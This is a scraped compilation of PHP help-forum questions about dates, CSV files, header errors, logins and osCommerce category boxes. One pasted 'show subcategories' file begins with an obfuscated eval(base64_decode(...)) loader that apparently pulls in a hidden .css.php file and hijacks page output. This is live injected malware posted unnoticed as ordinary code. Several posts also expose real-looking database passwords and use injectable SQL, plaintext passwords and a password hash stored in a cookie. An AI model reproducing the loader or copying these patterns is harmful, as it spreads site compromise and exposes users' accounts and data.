PHP - File Last Modify Date
Similar Tutorialshow do I modify the date coming from the database in YYYY-MM-DD format to MM-DD-YYYY? Hello All, I am trying to modify a value found in a csv file and I can't seem to figure this out. I already looked into fputcsv and cannot seem to make it work to just modify a value. I have a script now that outputs the csv into a table and displays a count for how many rows there are. I am parsing through a very large file and (for example) I want to replace all instances of the word "Norway" with "it works". Here's what I have so far: Code: [Select] <?php $filename='Test.txt'; $count=0; $c=0; echo '<table border=1>'; $file_handle = fopen($filename, "r+"); while (!feof($file_handle) ) { $parts = fgetcsv($file_handle); echo '<tr><td>'.$count.'</td>'; while($c<=3) { if($parts[$c]=='Norway') { $parts[$c]='It works'; //code to modify the csv value in the file } echo '<td>'. $parts[$c] .'</td>'; $c++; } $c=0; "</tr>"; $count++; } fclose($file_handle); echo '</table>'; ?> I have looked all over and can't find any examples of how to do this. Any help would be greatly apprecieated!!! Hi, I am trying to build my own ftp script, but i encounter a problem to get the filemdate for SOME of the files, ftp_mdtm returns alright for some of the files, but for some its "-1", so its rather: January 01 1970 07:59:59. I dont actually know why tat is the case, because the function ftp_rawlist returns filemtime very accurately for ALL files, however, just in this format: drwxr-x--- 10 user 99 4096 Oct 4 19:21 . But since its in a line, not in a array, so the coding becomes messy, unusable. I also tried filemtime, filectime, and getlastmod, but the first two also returns 1970, getlastmod() seems to return the mod date of the current page, not the specified page. Thanks, Ted Hey, I'm using a script which allows you to click on a calendar to select the date to submit to the database. The date is submitted like this: 2014-02-08 Is there a really simple way to prevent rows showing if the date is in the past? Something like this: if($currentdate < 2014-02-08 || $currentdate == 2014-02-08) { } Thanks very much, Jack I'm wondering how I can use the following code to capture the current url...... Code: [Select] <?php function curPageURL() { $pageURL = 'http'; if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} $pageURL .= "://"; if ($_SERVER["SERVER_PORT"] != "80") { $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"]; } else { $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; } return $pageURL; } ?> <?php echo curPageURL(); ?> and then have the output modified to change the domain name and create a link. Example: before - http://website1.com/page after - http://website2.com/page I think this would be done using function modify_url, but I'm not sure how to do it, any help would be greatly appreciated. Thanks For right or wrong, I've been using XML to define my Doctrine entities. When the XML changes, my entities need to change. I've automated the process with a simple PHP script which allows me to swap some text to modify one of the auto-generated methods, add methods, etc. Kind of clunky but it works well enough. Now, I recently had the need to remove a given method in its entirety from a given class. I "could" just add the entire string which represents the method name, earlier comments, and script for the method to my parsing script to my parsing script and remove it, but would like to be a little more concise. For instance, say I have $script as follows: $script = <<<'EOT' class SomeEntityClass { //... more stuff above public function getSomething() { return $this->something; } /** * Get foos. * * @return \Doctrine\Common\Collections\Collection */ public function getFoos() { return $this->foos; } /** * Get somethingElse. * */ //... more stuff below } EOT; How would you recommend creating the function: removeFunction($script, 'getFoos') which would remove the given function along with its comments from the $script string and result with? $script = <<<'EOT' class SomeEntityClass { //... more stuff above public function getSomething() { return $this->something; } /** * Get somethingElse. * */ //... more stuff below } EOT; Assuming regex is the way to go, I was thinking of something like the following, but could use some help with the regex expression. function removeFunction($script, $method) { $method="public function $method("; //regex to remove script with which starts after pattern "{\n" OR "**/", contains $method, and is located before pattern "\n{" OR "\n /**" return $script; } Thanks Hi guys, this is my first post so be gentle I have a string of ingredients, eg 1kg of salf 20kg of sugar 15kg of something nice This is the portion / mix for 1 person, I would like to make it scalable, so for example multiple all ingredients by for two people etc. So how do I do this with PHP I am guessing a regexp to look at the string and modify each number by the multiplier Any suggestions would be great thanks guys I have tried google and came up empty I think I need to convert the string to an array then modify it? John Hi Folks, i am a bit stuck on how to proceed with the following and could use some input. I have a table with a whole bunch of zipcodes and places. A lot of the zipcodes are repeated and i would like to merge them e.g. 7 | 07677 | WOODCLIFF LAKE | New Jersey | 41.02 | -74 8 | 07677 | WESTWOOD | New Jersey | 41.02 | -74 9 | 07677 | WOODCLIFF LK | New Jersey | 41.02 | -74 What i would like to do is merge these into one line then delete the obsolete ones e.g. 7 | 07677 | WOODCLIFF LAKE | WESTWOOD, WOODCLIFF LK | New Jersey | 41.02 | -74 Obviously not all the zipcodes are duplicated, and with 70 odd thousand lines its a bit daunting to go through them manually. Any pointers would be useful. Hello. I'm new to pHp and I would like to know how to get my $date_posted to read as March 12, 2012, instead of 2012-12-03. Here is the code: Code: [Select] <?php $sql = " SELECT id, title, date_posted, summary FROM blog_posts ORDER BY date_posted ASC LIMIT 10 "; $result = mysql_query($sql); while($row = mysql_fetch_assoc($result)) { $id = $row['id']; $title = $row['title']; $date_posted = $row['date_posted']; $summary = $row['summary']; echo "<h3>$title</h3>\n"; echo "<p>$date_posted</p>\n"; echo "<p>$summary</p>\n"; echo "<p><a href=\"post.php?id=$id\" title=\"Read More\">Read More...</a></p>\n"; } ?> I have tried the date() function but it always updates with the current time & date so I'm a little confused on how I get this to work. Alright, I have a Datetime field in my database which I'm trying to store information in. Here is my code to get my Datetime, however it's returning to me the wrong date. It's returning: 1969-12-31 19:00:00 $mysqldate = date( 'Y-m-d H:i:s', $phpdate ); $phpdate = strtotime( $mysqldate ); echo $mysqldate; Is there something wrong with it? I have tried a large number of "solutions" to this but everytime I use them I see 0000-00-00 in my date field instead of the date even though I echoed and can see that the date looks correct. Here's where I'm at: I have a drop down for the month (1-12) and date fields (1-31) as well as a text input field for the year. Using the POST array, I have combined them into the xxxx-xx-xx format that I am using in my field as a date field in mysql. <code> $date_value =$_POST['year'].'-'.$_POST['month'].'-'.$_POST['day']; echo $date_value; </code> This outputs 2012-5-7 in my test echo but 0000-00-00 in the database. I have tried unsuccessfully to use in a numberof suggested versions of: strtotime() mktime Any help would be extremely appreciated. I am aware that I need to validate this data and insure that it is a valid date. That I'm okay with. I would like some help on getting it into the database. I work on laravel app with my sql database mvc I modify some thing on html pages and then i run my app then write php artisan serve but after site run i dont see changes on html can you please help me i Have a php code... Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } if($_GET['via']=="pre_pass") { $prepass=$_POST['currentpassword']; $newpass=$_POST['newpass']; $renewpass=$_POST['renewpass']; /*$answer=$_POST['answer']; &newpassword=$_POST['newpassword']; */ if($prepass!=NULL && $newpass!=NULL && $renewpass!=NULL ) { if(strlen($prepass)==0 || strlen($newpass)==0 || strlen($renewpass)==0) { session_start(); $_SESSION['status']="Please fill out all the fields"; header('location:change_password.php?via=previous_password'); die(" "); } if(strlen($prepass)<6 || strlen($newpass)<6 || strlen($renewpass)<6) { session_start(); $_SESSION['status']="All fields must have atleast 6 characters"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($newpass, $renewpass)!=0 && strlen($prepass)>=6 && strlen($newpass)>=6 && strlen($renewpass)>=6 ) { session_start(); $_SESSION['status']="New password does not match with each other"; header('location:change_password.php?via=previous_password'); die(" "); } if(strcmp($prepass, $newpass)==0) { session_start(); $_SESSION['status']="New password and Previous Password must be different"; header('location:change_password.php?via=previous_password'); die(" "); } mysql_connect ("localhost:3306", "feadmin1","lycosanmamba" ) or die ('Error connecting database'); mysql_select_db ("fe_user_info"); $reguserpassword = stripslashes($prepass); $reguserpassword = mysql_real_escape_string($reguserpassword); $newpass = stripslashes($newpass); $newpass = mysql_real_escape_string($newpass); $sql = "select * from user_info where id='$_SESSION[id]' and password='$reguserpassword'"; $res=mysql_query($sql); $count=mysql_num_rows($res); if($count=='1') { $query= "UPDATE user_info SET password='".$newpass."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=previous_password'); die(" "); } if($count!='1') { session_start(); $_SESSION['status']="Password you entered does not match with our records"; header('location:change_password.php?via=previous_password'); die(" "); } } } if($_GET['via']=="sec_ques") { $answer=$_POST['answer']; $newpassword=$_POST['newpassword']; if($answer!=NULL && $newpassword!=NULL) { include('db_connectivity.php'); $sql2 = "select * from user_info where id='$_SESSION[id]' and security_answer='$answer'"; $res2=mysql_query($sql2); $count2=mysql_num_rows($res2); if(strlen($newpassword)<6) { session_start(); $_SESSION['status']="Password must have atleast 6 characters"; header('location:change_password.php?via=security_question'); die(" "); } if($count2=='1') {include('db_connectivity.php'); $newpassword = stripslashes($newpassword); $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } else { session_start(); $_SESSION['status']="Answer to this security question is incorrect"; header('location:change_password.php?via=security_question'); die(" "); } } } ?> but when i run this code it shows me the error.. Warning: Cannot modify header information - headers already sent by (output started at C:.................................:2) in C:\...............................\verify_change_password.php on line 118 CODE BETWEEN LINE 110-120 is Code: [Select] $newpassword = mysql_real_escape_string($newpassword); $query= "UPDATE user_info SET password='".$newpassword."' WHERE id='$_SESSION[id]'"; mysql_query($query); session_start(); $_SESSION['status']="Password Successfully Changed"; $_SESSION['mail']="positive"; include("mail/pasword_change_verify_mail.php"); header('location:change_password.php?via=security_question'); die(" "); } and code of tp 5 line is : Code: [Select] <?php session_start(); if(@$_SESSION['ls']!=="loggedin" ) { header('Location: login.php'); die (" "); } Hey guys im getting the error Warning: Cannot modify header information - headers already sent by (output started at /home/kylegray/public_html/include/authenticate.php:12) in /home/kylegray/public_html/home.php on line 7 Any idea why this is coming up. I think its something to to with me setting the cookie setcookie("un", $id); but im not sure. home.php Code: [Select] <? include("include/config.php"); //$_SESSION["backpage"]=$_SERVER['PHP_SELF']; if($_SESSION["client_log"]!="true"){ session_unregister("MemberArea"); header("Location: index.php?redirect=".basename($_SERVER['PHP_SELF'])); exit(); } ?> authenticate.php Code: [Select] <?php include("include/required.php"); include("include/pagedetails.php"); include_once("include/authenticate.php"); $tblName = $tbluser; $id=$_SESSION["id"]; setcookie("un", $id); $ImgPath="$CatImage/"; $ImgPathsing="$SingUPImage/"; ?> Code: [Select] <?php { $name=$_POST["txtGiven"]; $surname=$_POST["txtFamily"]; $user=$_POST["txtUser"]; $email=$_POST["txtEmail"]; $password=$_POST["txtPassword"]; $query="INSERT INTO Customer(Firstnames,Surname,Username,Email,Password) VALUES('$name','$surname','$user','$email','$password')"; include"connection.php"; $result=mysql_query($query)or die("Error in query: $query. ".mysql_error());; header("Location: userReceipt.php"); mysql_close($connection); } ?> ive tried removing all the spaces from all my php pages. That is the most common solution that comes up and nothing seems to work. I also have a login page where the same error is Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> Hi,
I'm trying to modify a search code but I'm not able to get any results and I'm not getting any errors.
The page is supposed to allow the user to search by one or multiple fields and return the according results.
The code was originally using the depreciated MySQL and I was trying to modify to MYSQLI.
I'm not sure that I'm using it correctly.
I have attached the files. If anyone can look at it and possibly correct it I'd greatly appreciate it.
Attached Files:
index.html - User Search Page
search.php - Search Code
Users.txt - Data I've been using (rename to csv).
I'm using WAMP.
Thanks,
Mitka
Attached Files
index.html 521bytes
3 downloads
search.php 1.53KB
4 downloads
Users.txt 916bytes
0 downloads Hey guys, I've searched on Google for this and have had no luck, and you guys have been EXTREMELY helpful with a few of my previous questions! Alright the error I get is: Warning: Cannot modify header information - headers already sent by (output started at /****/header.php:6) in /***/*login.php on line 65 Errr.. After I posted this I saw the Sticky regarding Header posts.. I read the post and cannot find where the issue is with this.. The PHP code comes before the form information, am I missing something? My login.php script is: Code: [Select] <?php include("header.php"); mysql_connect("10.6.186.84", "gilmdiniz", "Gil19471947") or die(mysql_error()); mysql_select_db("gilmdiniz") or die(mysql_error()); if(isset($_COOKIE['ID_my_site'])) { $username = $_COOKIE['ID_my_site']; $pass = $_COOKIE['Key_my_site']; $check = mysql_query("SELECT * FROM users WHERE username = '$username'")or die(mysql_error()); while($info = mysql_fetch_array( $check )) { if ($pass != $info['password']) { } else echo "SUP";//header($hdir."files.php"); } } if (isset($_POST['submit'])) { if(!$_POST['username'] | !$_POST['pass']) die('<center>You did not fill in a required field! <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); if (!get_magic_quotes_gpc()) $_POST['email'] = addslashes($_POST['email']); $check = mysql_query("SELECT * FROM users WHERE username = '".$_POST['username']."'")or die(mysql_error()); $check2 = mysql_num_rows($check); if ($check2 == 0) die('<center>This username does not exist in our database, sorry. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); while($info = mysql_fetch_array( $check )) { $_POST['pass'] = stripslashes($_POST['pass']); $info['password'] = stripslashes($info['password']); $_POST['pass'] = md5($_POST['pass']); if ($_POST['pass'] != $info['password']) die('<center>Incorrect password, please try again. <br /> <a href="'.$hdir.'login.php"> Back to Login </a> </center>'); else { $_POST['username'] = stripslashes($_POST['username']); $hour = time() + 3600; setcookie(ID_my_site, $_POST['username'], $hour); setcookie(Key_my_site, $_POST['pass'], $hour); echo "SUP";//header($hdir."files.php"); } } } else { ?> <center> <a href="<?php echo $hdir .'index.php'; ?>"> Back to Home </a> <table border="1"> <tr><td> <center><h2>Login Information</h2></center> </td></tr> <tr><td> <form action="<?php echo $_SERVER['PHP_SELF']?>" method="post"> <table border="0"> <tr><td> Username: </td><td> <input type="text" name="username" maxlength="40"> </td></tr> <tr><td> Password: </td><td> <input type="password" name="pass" maxlength="50"> </td></tr> <tr><td colspan="2" align="right"> <input type="submit" name="submit" value="Login"> </td></tr> </table> </form> </td></tr> </table> </center> <?php } ?> and my header.php script is: Code: [Select] <?php $hdir = "http://www.ondemandagents.com/NewSite_ALPHA/"; ?> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <link rel="stylesheet" type="text/css" href="<?php echo $hdir .'style.css'; ?>" /> </head> <body> <table width="920" cellspacing="0" cellpadding="10" border="0" align="center"> <tr> <td class="bodyline"> <table align="center" border="0" width="635" height="121" background="<?php echo $hdir .'images/logo.png'; ?>"> <tr> <td height="69"> <table border="0" width="635" height="106"> <tr> <td width="800" height="70"> </td> <td width="600" height="70"> </td> </tr> <tr> <td width="400" height="18"> </td> <td width="600" height="18"> <a href="<?php echo $hdir .'index.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_home.gif'; ?>" width="12" height="13" border="0" alt="Home" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Home </font></a> <a href="<?php echo $hdir .'files.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_files.gif'; ?>" width="12" height="13" border="0" alt="Files" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Files </font></a> <a href="<?php echo $hdir .'admin.php'; ?>" style="text-decoration: none"> <img src="<?php echo $hdir .'images/icon_mini_login.gif'; ?>" width="12" height="13" border="0" alt="Administration" hspace="3" /> <font face="Arial" color="#FFFFFF" size="2">Administration</font></a> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> I have been using a header file in all my pages and scripts so far so that I wouldn't have to keep typing repetitive code.. Help is MUCH appreciated! Thanks in advance guys This topic has been moved to Third Party PHP Scripts. http://www.phpfreaks.com/forums/index.php?topic=310049.0 |